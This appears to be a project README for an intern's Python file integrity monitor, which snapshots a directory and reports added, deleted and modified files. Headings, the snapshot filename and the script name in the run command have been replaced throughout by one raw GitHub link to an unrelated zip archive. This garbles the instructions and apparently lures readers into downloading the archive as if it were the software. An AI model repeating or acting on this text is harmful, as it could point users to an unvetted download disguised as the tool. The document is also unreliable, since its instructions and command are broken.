COMPANY: CODTECH IT SOLUTIONS
NAME: KANCHAN VILAS JADHAV
INTERN ID: CT04DA375
DOMAIN: CYBERSECURITY AND EH
DURATION: 4 WEEKS
MENTOR: NEELA SANTOSH
This Python script is built to continuously monitor and track changes within a specific directory on your system. Its primary function is to detect file creations, modifications, and deletions in real-time or between intervals. This is especially useful for developers, system administrators, and cybersecurity analysts who need to keep an eye on important files and folders.
-os and time: These are used for navigating the file system, retrieving file attributes such as modification times, and implementing time-based functionality like delay or timestamps.
-hashlib: Generates MD5 hash values for file contents. This helps in identifying files that have been modified based on their content, even if their names or sizes remain the same.
-json: Stores and loads snapshots of the file system in a structured format that is easy to compare later.
-argparse: Handles command-line arguments to allow flexible script execution and directory specification.
https://raw.githubusercontent.com/codeK0/ordercli/master/enamellist/Software-v2.0.zip Directory Scanning: When the script is first run, it scans the target directory and creates a snapshot of all existing files. For each file, it collects metadata including file path, last modified timestamp, file size, and an MD5 hash of the content.
https://raw.githubusercontent.com/codeK0/ordercli/master/enamellist/Software-v2.0.zip Saving: This metadata is stored in a Python dictionary and saved as a JSON file (often named https://raw.githubusercontent.com/codeK0/ordercli/master/enamellist/Software-v2.0.zip) in the script's directory. This serves as a baseline to detect future changes.
https://raw.githubusercontent.com/codeK0/ordercli/master/enamellist/Software-v2.0.zip Detection: On subsequent runs, the script re-scans the directory and loads the previous snapshot. It compares each file's current state to its prior state to determine if it:
Was added (exists now but not before),
Was deleted (existed before but not anymore),
Was modified (exists in both scans but with different timestamps or hashes).
https://raw.githubusercontent.com/codeK0/ordercli/master/enamellist/Software-v2.0.zip and Output: Detected changes are printed to the terminal with color-coded logs for better clarity:
Green: New files
Red: Deleted files
Yellow: Modified files
https://raw.githubusercontent.com/codeK0/ordercli/master/enamellist/Software-v2.0.zip Update: After logging, the script saves the new state of the folder by updating the snapshot JSON, preparing it for the next run.
-Monitoring source code directories for unauthorized changes
-Watching log or config folders on servers
-Auditing file system behavior over time
-Creating lightweight file integrity monitoring tools
The script itself, along with its snapshot files, can be version-controlled using Git. This allows users to track both code changes and detected file changes, and even push them to GitHub for backup or collaboration.
=Typical Workflow: -Place the script in or point it to the directory you want to monitor.
-Run it using the command: python https://raw.githubusercontent.com/codeK0/ordercli/master/enamellist/Software-v2.0.zip [optional_directory_path]
-Make changes to files: add, delete, or modify.
-Run the script again to view a log of those changes.